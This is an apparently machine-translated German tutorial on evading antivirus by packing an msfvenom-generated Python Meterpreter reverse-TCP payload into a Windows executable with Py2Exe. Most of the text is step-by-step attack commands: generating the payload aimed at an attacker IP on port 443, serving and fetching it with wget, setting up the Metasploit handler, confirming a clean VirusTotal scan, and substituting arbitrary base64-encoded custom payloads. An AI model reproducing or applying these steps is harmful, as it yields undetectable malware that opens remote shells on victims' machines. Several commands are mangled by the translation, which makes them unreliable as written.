Antivirus-Umgehung mit Python

Zusammenfassung

Wenn Sie umfassende Sicherheitskontrollen für Ihr Unternehmen bereitstellen, werden Sie wahrscheinlich Virenschutzprogramme als Teil der Lösung einbeziehen. Dies ist definitiv eine gute Vorgehensweise, solange wir bedenken, dass Virenschutzmittel nur eine zusätzliche Schutzschicht hinzufügen und wir uns niemals ausschließlich darauf verlassen sollten, um Endbenutzergeräte zu schützen.

Ein gutes Sicherheitsprogramm sollte immer eingehende Schutzmaßnahmen wie Software-Update-Governance, Firewalls, Schulungs- / Sicherheitsbewusstsein, physische Sicherheit, Identitätsmanagement, Kennwortrichtlinien usw. umfassen. Es ist jedoch nicht ungewöhnlich, dass ein Sicherheitsingenieur diese Informationen erhält Sie müssen nachweisen, wie Antivirenprogramme leicht umgangen werden können, um Ihren Standpunkt zu belegen.

In diesem Artikel wird ein sehr einfaches Tutorial vorgestellt, wie Sie Antivirenprogrammen in vollständig gepatchten und aktualisierten Windows-Umgebungen mithilfe einer Python-Nutzlast ausweichen können.

Denken Sie daran, dass der Versuch, einen Virenschutz zu umgehen, ein Katz- und Mausspiel ist. Immer wenn eine neue Ausweichtechnik populär wird, werden Antiviren-Anbieter irgendwann davon erfahren und ihre Signaturdatenbank aktualisieren, um sie zu blockieren. Dann werden neue Ausweichtechniken entstehen, die Anbieter dazu bringen, sie ihrer Signaturdatenbank hinzuzufügen, und so weiter und so fort.

Zum Zeitpunkt dieses Schreibens wurde die hier beschriebene Methode erfolgreich verwendet, um alle auf Virus Total verfügbaren Hersteller-Engines zu umgehen und das böswillige Artefakt erfolgreich auf einem vollständig aktualisierten Windows 10-Computer mit aktiviertem Windows Defender auszuführen.

Python Payload

Signaturbasierte Virenschutzprogramme vergleichen die Artefakt-Binärdateien mit einer Signaturdatenbank. Unser Ziel ist es, unsere Nutzdaten so zu „verschleiern“, dass sie nicht mit bekannten Signaturen in einer Antiviren-Herstellerdatenbank übereinstimmen. Ein verhaltensbasiertes Antivirenprogramm versucht, bekannte verdächtige Aktivitäten den Aktionen eines bestimmten Artefakts zuzuordnen. Unsere Malware funktioniert lediglich als Client, der versucht, eine TCP-Verbindung über Port 443 herzustellen. Es ist für verhaltensbasierte Antivirenprogramme schwieriger, solche Aktionen zu kennzeichnen, ohne dass für legitime Anwendungen wie Webbrowser viele Fehlalarme ausgegeben werden.

In diesem Beispiel verwenden wir eine von MSFVenom generierte Python-Nutzlast, um eine Reverse-TCP-Shell (Meterpreter-Sitzung) an Port 443 für den Angreifer zu öffnen, auf dem Metasploit ausgeführt wird. Ein solches Artefakt ist offensichtlich bösartig und sollte immer von einem Antiviren-Agent gekennzeichnet werden.

Der hier beschriebene Ansatz ist flexibel genug, sodass Sie ihn erweitern können, indem Sie unsere Beispielnutzlast msfvenom durch Ihre eigene angepasste Python-Nutzlast ersetzen.

Umgebungseinrichtung

Für dieses Lernprogramm empfehlen wir die Verwendung von 3 virtuellen Maschinen:

Kali Linux zum Erstellen der Nutzdaten und zum Ausführen von Metasploit;

Windows Metasploitable 3 zum Packen der Nutzdaten in ein Artefakt;

Windows 10 wurde vollständig gepatcht, um das endgültige Artefakt auszuführen.

Der Grund, warum wir zwei verschiedene virtuelle Windows-Maschinen verwendet haben, ist, dass wir eine vollständig aktualisierte / gepatchte Box benötigen, um sicherzustellen, dass unser Artefakt eine sehr hohe Chance hat, in einer bestimmten Windows-Umgebung zu arbeiten. Auf der anderen Seite kennzeichnet ein vollständig gepatchter Computer vor dem Packen der Nutzdaten mit Py2Exe immer die rohen Python-Nutzdaten, sodass Sie nur schwer damit arbeiten können. Daher ist die virtuelle Maschine Metasploitable 3 erforderlich, um die rohen Nutzdaten vor dem Packen zu verarbeiten.

Erstellen einer FUD-Meterpreter-Nutzlast mit Python

Zum Erstellen des Artefakts empfehlen wir die Verwendung von Windows Metasploitable 3 als Windows-Hauptumgebung.

Installieren Sie Python 2.7.16 x86 für Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

* Hinweis: Python 2.7 x86 ist erforderlich. Installieren Sie die 32-Bit-Version, auch wenn Ihr Windows eine x64-Box ist. Stellen Sie außerdem sicher, dass Sie während der Installation die Option “Python.exe zum Pfad hinzufügen” auswählen.

Installieren Sie Py2exe 32 Bit für Python 2.7: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

Installieren Sie optional Open SSL für Windows.

Wechseln Sie zum Kali Linux-Computer und erstellen Sie die Python-Nutzdaten.

* Hinweis: Unser Kali Linux verwendet die IP-Adresse 10.0.2.10. Stellen Sie sicher, dass Sie es für alle verbleibenden Schritte in diesem Lernprogramm durch Ihre aktuelle IP-Adresse ersetzen.

msfvenom -p python / meterpreter / reverse_tcp LHOST = 10.0.2.10 LPORT = 443 -f raw -o /var/www/html/mrtp.py

Dienst Apache2 starten

Kopieren Sie die Nutzdaten “mrtp.py” zurück auf Ihren Windows-Computer. Führen Sie mit Powershell Folgendes aus:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Erstellen Sie außerdem eine setup.py-Datei mit folgendem Inhalt:

Bündeln Sie die eigenständige ausführbare Python-Datei mit Py2Exe:

python.exe. \ setup.py py2exe

Testen Sie das Artefakt “mrtp.exe”, das im dist-Ordner erstellt wurde:

Führen Sie es aus:

. \ dist \ mrtp.exe

Wechseln Sie zurück zu Kali Linux und führen Sie Metasploit aus:

Wir nehmen die folgende Konfiguration an: Kali VM IP: 10.0.2.10

msfconsole

Exploit / Multi / Handler verwenden

setze PAYLOAD python / meterpreter / reverse_tcp

LHOST 10.0.2.10

einstellen

LPORT 443 einstellen

ausführen

* Hinweis: Je nachdem, wie lange Sie zum Festlegen des Metasploit-Handlers benötigen, müssen Sie möglicherweise mrtp.exe erneut auf der Windows-Box ausführen.

Nachdem wir bestätigt haben, dass unser Artefakt funktioniert, überprüfen wir es mit allen auf VirusTotal verfügbaren Antivirus-Engines. Besuchen Sie www.virtutotal.com und stellen Sie Ihre Datei “mrtp.exe” zum Scannen bereit.

Wenn alles gut geht, sollten Sie einen sauberen Bericht erhalten, der dem folgenden ähnelt.

Jetzt ist es Zeit, es auf dem Windows 10-Computer auszuführen. Kopieren Sie die Datei “mrtp.exe” direkt in die Windows 10-Box. In einer realen Exploitation müssten Sie einen Angriffsvektor nutzen, um ihn bereitzustellen und auf Ihrem Ziel auszuführen. Dies liegt jedoch außerhalb des Geltungsbereichs dieses Artikels.

Stellen Sie sicher, dass Ihr Metasploit-Handler Port 443 überwacht, und führen Sie das Artefakt “mrtp.exe” auf dem Windows 10-Computer aus.

Wie im Screenshot gezeigt, wurde das Artefakt vollständig unentdeckt ausgeführt und eine Meterpreter-Sitzung wurde erfolgreich eingerichtet.

Anpassen Ihrer eigenen Python-Nutzdaten

Sie können diese Technik nutzen und Ihre eigenen angepassten Python-Nutzdaten verwenden. Sie müssen lediglich die Schritte aus der vorherigen Sitzung wiederholen und die Datei „mrtp.py“ bearbeiten, nachdem Sie sie mit msfvenom generiert haben. Sie müssen die ursprünglich codierte base64-Zeichenfolge durch Ihren eigenen Python-Code ersetzen.

Erstellen wir als Beispiel ein neues Python-Skript “custom_payload.py”, das nur zwei Nachrichten druckt und als neue Nutzlast verwendet.

Nach dem Erstellen müssen wir es mit base64-Codierung codieren:

cat custom_payload.py | base64

Für das von uns verwendete Beispielskript erhalten wir die folgende Base64-codierte Zeichenfolge: “cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg ==”

Jetzt bearbeiten wir das vorhandene Skript “mrtp.py”, das wir in der vorherigen Sitzung verwendet haben, und ersetzen die ursprüngliche base64-Zeichenfolge, die mit “aW1wb3J0IHNvY2t” beginnt, durch unsere neue.

Nach der Anpassung sollte das Endergebnis folgendermaßen aussehen:

Kopieren Sie die neue Datei “mrtp.py” zurück auf Ihren Windows-Computer und wiederholen Sie die Bündelungsschritte:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe. \ setup.py py2exe

. \ dist \ mrtp.exe

Nach dem Ausführen des neuen gebündelten Python-Artefakts “mrtp.exe” werden auf dem Terminal Zeichenfolgen für “Benutzerdefinierte Nutzdaten” “Es funktioniert” gedruckt.

Zu diesem Zeitpunkt sollten Sie in der Lage sein, jedes gewünschte Python-FUD-Artefakt zu erstellen, indem Sie einfach die Datei “custom_payload.py” bearbeiten und mit Py2Exe bündeln.